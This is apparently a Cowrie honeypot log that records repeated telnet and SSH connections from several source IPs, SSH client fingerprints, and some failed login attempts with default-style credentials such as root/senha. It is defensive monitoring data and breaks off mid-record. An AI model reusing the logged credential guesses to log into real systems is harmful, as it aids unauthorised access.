{"eventid":"cowrie.session.closed","duration":30.201852560043335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:39.021909Z","src_ip":"149.56.25.198","session":"c9cdb855d5d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954358100891113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:39.025913Z","src_ip":"149.56.25.198","session":"d850f8b93f3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":40190,"dst_ip":"10.17.0.5","dst_port":23,"session":"68479a44a1bb","protocol":"telnet","message":"New connection: 149.56.25.198:40190 (10.17.0.5:23) [session: 68479a44a1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:40.715761Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":40206,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6b19649a1a0","protocol":"telnet","message":"New connection: 149.56.25.198:40206 (10.17.0.5:23) [session: c6b19649a1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:43.046991Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":40216,"dst_ip":"10.17.0.5","dst_port":23,"session":"49b8bbc42b84","protocol":"telnet","message":"New connection: 149.56.25.198:40216 (10.17.0.5:23) [session: 49b8bbc42b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:43.432627Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":40218,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a2e09676716","protocol":"telnet","message":"New connection: 149.56.25.198:40218 (10.17.0.5:23) [session: 5a2e09676716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:45.134588Z"}
{"eventid":"cowrie.session.closed","duration":30.1968412399292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:47.022056Z","src_ip":"149.56.25.198","session":"897e9dec9d5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.18.38.206","src_port":59235,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb798d7c7bbb","protocol":"telnet","message":"New connection: 180.18.38.206:59235 (159.203.135.109:23) [session: eb798d7c7bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:48.449428Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":58732,"dst_ip":"10.17.0.5","dst_port":23,"session":"b435585ef971","protocol":"telnet","message":"New connection: 149.56.25.198:58732 (10.17.0.5:23) [session: b435585ef971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:49.848986Z"}
{"eventid":"cowrie.session.closed","duration":30.945688009262085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:50.016794Z","src_ip":"149.56.25.198","session":"52ffbbca500a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.159462213516235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:50.034106Z","src_ip":"149.56.25.198","session":"a6e9aa0e38a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":58748,"dst_ip":"10.17.0.5","dst_port":23,"session":"1321b859bb90","protocol":"telnet","message":"New connection: 149.56.25.198:58748 (10.17.0.5:23) [session: 1321b859bb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:50.729294Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":58754,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfc88f5d5ed","protocol":"telnet","message":"New connection: 149.56.25.198:58754 (10.17.0.5:23) [session: 9dfc88f5d5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:50.765126Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":36218,"dst_ip":"10.17.0.5","dst_port":22,"session":"901af6f23b4f","protocol":"ssh","message":"New connection: 176.53.96.10:36218 (10.17.0.5:22) [session: 901af6f23b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:51.555996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:51.560846Z","src_ip":"176.53.96.10","session":"901af6f23b4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:51.684617Z","src_ip":"176.53.96.10","session":"901af6f23b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":58768,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a5c3f8f27ab","protocol":"telnet","message":"New connection: 149.56.25.198:58768 (10.17.0.5:23) [session: 2a5c3f8f27ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:51.719715Z"}
{"eventid":"cowrie.session.closed","duration":30.953654289245605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:52.015781Z","src_ip":"149.56.25.198","session":"951cb7a5149e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33326244354248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:52.023651Z","src_ip":"149.56.25.198","session":"2b968b1f0490","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"123","message":"login attempt [openvpn/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:52.205601Z","src_ip":"176.53.96.10","session":"901af6f23b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":58776,"dst_ip":"10.17.0.5","dst_port":23,"session":"c33bc2273066","protocol":"telnet","message":"New connection: 149.56.25.198:58776 (10.17.0.5:23) [session: c33bc2273066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:52.747956Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":58792,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9de257b789","protocol":"telnet","message":"New connection: 149.56.25.198:58792 (10.17.0.5:23) [session: ce9de257b789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:53.027708Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:53.329732Z","src_ip":"176.53.96.10","session":"901af6f23b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":58806,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcb3ceb3fbee","protocol":"telnet","message":"New connection: 149.56.25.198:58806 (10.17.0.5:23) [session: bcb3ceb3fbee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:53.645713Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":58814,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6ba21e60cc3","protocol":"telnet","message":"New connection: 149.56.25.198:58814 (10.17.0.5:23) [session: e6ba21e60cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:54.039247Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":58818,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d27dd9e6e3","protocol":"telnet","message":"New connection: 149.56.25.198:58818 (10.17.0.5:23) [session: 96d27dd9e6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:54.055726Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":58834,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d1a8353c528","protocol":"telnet","message":"New connection: 149.56.25.198:58834 (10.17.0.5:23) [session: 9d1a8353c528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:54.183465Z"}
{"eventid":"cowrie.session.closed","duration":30.251757383346558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:55.021212Z","src_ip":"149.56.25.198","session":"5e740a849a7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47110,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2513e77602e","protocol":"telnet","message":"New connection: 149.56.25.198:47110 (10.17.0.5:23) [session: d2513e77602e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:55.335709Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":41396,"dst_ip":"10.17.0.5","dst_port":22,"session":"43870a57c8ea","protocol":"ssh","message":"New connection: 165.154.5.148:41396 (10.17.0.5:22) [session: 43870a57c8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:55.813043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:55.818282Z","src_ip":"165.154.5.148","session":"43870a57c8ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:56.032794Z","src_ip":"165.154.5.148","session":"43870a57c8ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"senha","message":"login attempt [root/senha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:56.918354Z","src_ip":"165.154.5.148","session":"43870a57c8ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47116,"dst_ip":"10.17.0.5","dst_port":23,"session":"060706c4e190","protocol":"telnet","message":"New connection: 149.56.25.198:47116 (10.17.0.5:23) [session: 060706c4e190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:57.709827Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:58.135358Z","src_ip":"165.154.5.148","session":"43870a57c8ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47124,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd6782d72cf","protocol":"telnet","message":"New connection: 149.56.25.198:47124 (10.17.0.5:23) [session: cdd6782d72cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:58.141810Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47128,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e165e9863c","protocol":"telnet","message":"New connection: 149.56.25.198:47128 (10.17.0.5:23) [session: f2e165e9863c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:59.055840Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47144,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eecbe18e97b","protocol":"telnet","message":"New connection: 149.56.25.198:47144 (10.17.0.5:23) [session: 5eecbe18e97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:00.751188Z"}
{"eventid":"cowrie.session.closed","duration":30.971996784210205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:01.025849Z","src_ip":"149.56.25.198","session":"e74b581d7481","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47156,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f4e5ab0f4fb","protocol":"telnet","message":"New connection: 149.56.25.198:47156 (10.17.0.5:23) [session: 5f4e5ab0f4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:02.267936Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47168,"dst_ip":"10.17.0.5","dst_port":23,"session":"92d8d2ff3367","protocol":"telnet","message":"New connection: 149.56.25.198:47168 (10.17.0.5:23) [session: 92d8d2ff3367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:02.362749Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47184,"dst_ip":"10.17.0.5","dst_port":23,"session":"1852851b49d3","protocol":"telnet","message":"New connection: 149.56.25.198:47184 (10.17.0.5:23) [session: 1852851b49d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:02.639416Z"}
{"eventid":"cowrie.session.closed","duration":15.222507238388062,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:03.671843Z","src_ip":"180.18.38.206","session":"eb798d7c7bbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":47194,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc54c08397e0","protocol":"telnet","message":"New connection: 149.56.25.198:47194 (10.17.0.5:23) [session: fc54c08397e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:04.055608Z"}
{"eventid":"cowrie.session.closed","duration":30.957738399505615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:05.022491Z","src_ip":"149.56.25.198","session":"f8b0ddf47995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52034,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf991f7e3b07","protocol":"telnet","message":"New connection: 149.56.25.198:52034 (10.17.0.5:23) [session: bf991f7e3b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:05.283818Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52040,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1b02d9e7aae","protocol":"telnet","message":"New connection: 149.56.25.198:52040 (10.17.0.5:23) [session: a1b02d9e7aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:06.316442Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52046,"dst_ip":"10.17.0.5","dst_port":23,"session":"a31d92c89e48","protocol":"telnet","message":"New connection: 149.56.25.198:52046 (10.17.0.5:23) [session: a31d92c89e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:06.433243Z"}
{"eventid":"cowrie.session.closed","duration":30.968815803527832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:08.026452Z","src_ip":"149.56.25.198","session":"4fa3935da886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52050,"dst_ip":"10.17.0.5","dst_port":23,"session":"365a89b1909a","protocol":"telnet","message":"New connection: 149.56.25.198:52050 (10.17.0.5:23) [session: 365a89b1909a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:08.044612Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52058,"dst_ip":"10.17.0.5","dst_port":23,"session":"3028437582cd","protocol":"telnet","message":"New connection: 149.56.25.198:52058 (10.17.0.5:23) [session: 3028437582cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:09.057978Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52066,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c1f2cb540e","protocol":"telnet","message":"New connection: 149.56.25.198:52066 (10.17.0.5:23) [session: 54c1f2cb540e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:11.014903Z"}
{"eventid":"cowrie.session.closed","duration":30.359627962112427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:11.075270Z","src_ip":"149.56.25.198","session":"68479a44a1bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52078,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ec94c0ac91e","protocol":"telnet","message":"New connection: 149.56.25.198:52078 (10.17.0.5:23) [session: 5ec94c0ac91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:11.410837Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52094,"dst_ip":"10.17.0.5","dst_port":23,"session":"00d237bbab0e","protocol":"telnet","message":"New connection: 149.56.25.198:52094 (10.17.0.5:23) [session: 00d237bbab0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:11.573995Z"}
{"eventid":"cowrie.session.closed","duration":30.967212915420532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:14.014058Z","src_ip":"149.56.25.198","session":"c6b19649a1a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58979630470276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:14.022296Z","src_ip":"149.56.25.198","session":"49b8bbc42b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52106,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4d9f7619af9","protocol":"telnet","message":"New connection: 149.56.25.198:52106 (10.17.0.5:23) [session: e4d9f7619af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:14.511823Z"}
{"eventid":"cowrie.session.closed","duration":30.888328313827515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:16.022790Z","src_ip":"149.56.25.198","session":"5a2e09676716","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":43286,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbad1d00b9e3","protocol":"telnet","message":"New connection: 149.56.25.198:43286 (10.17.0.5:23) [session: dbad1d00b9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:16.052981Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":43294,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cb06ebf7545","protocol":"telnet","message":"New connection: 149.56.25.198:43294 (10.17.0.5:23) [session: 2cb06ebf7545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:17.338337Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":43308,"dst_ip":"10.17.0.5","dst_port":23,"session":"6520a063069b","protocol":"telnet","message":"New connection: 149.56.25.198:43308 (10.17.0.5:23) [session: 6520a063069b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:17.805266Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":43312,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f050f9f57c8","protocol":"telnet","message":"New connection: 149.56.25.198:43312 (10.17.0.5:23) [session: 7f050f9f57c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:18.954562Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":43318,"dst_ip":"10.17.0.5","dst_port":23,"session":"389e3789c81c","protocol":"telnet","message":"New connection: 149.56.25.198:43318 (10.17.0.5:23) [session: 389e3789c81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:19.043186Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":40450,"dst_ip":"10.17.0.5","dst_port":22,"session":"3afd6ca3eddd","protocol":"ssh","message":"New connection: 68.183.236.1:40450 (10.17.0.5:22) [session: 3afd6ca3eddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:19.159796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:13:19.169285Z","src_ip":"68.183.236.1","session":"3afd6ca3eddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-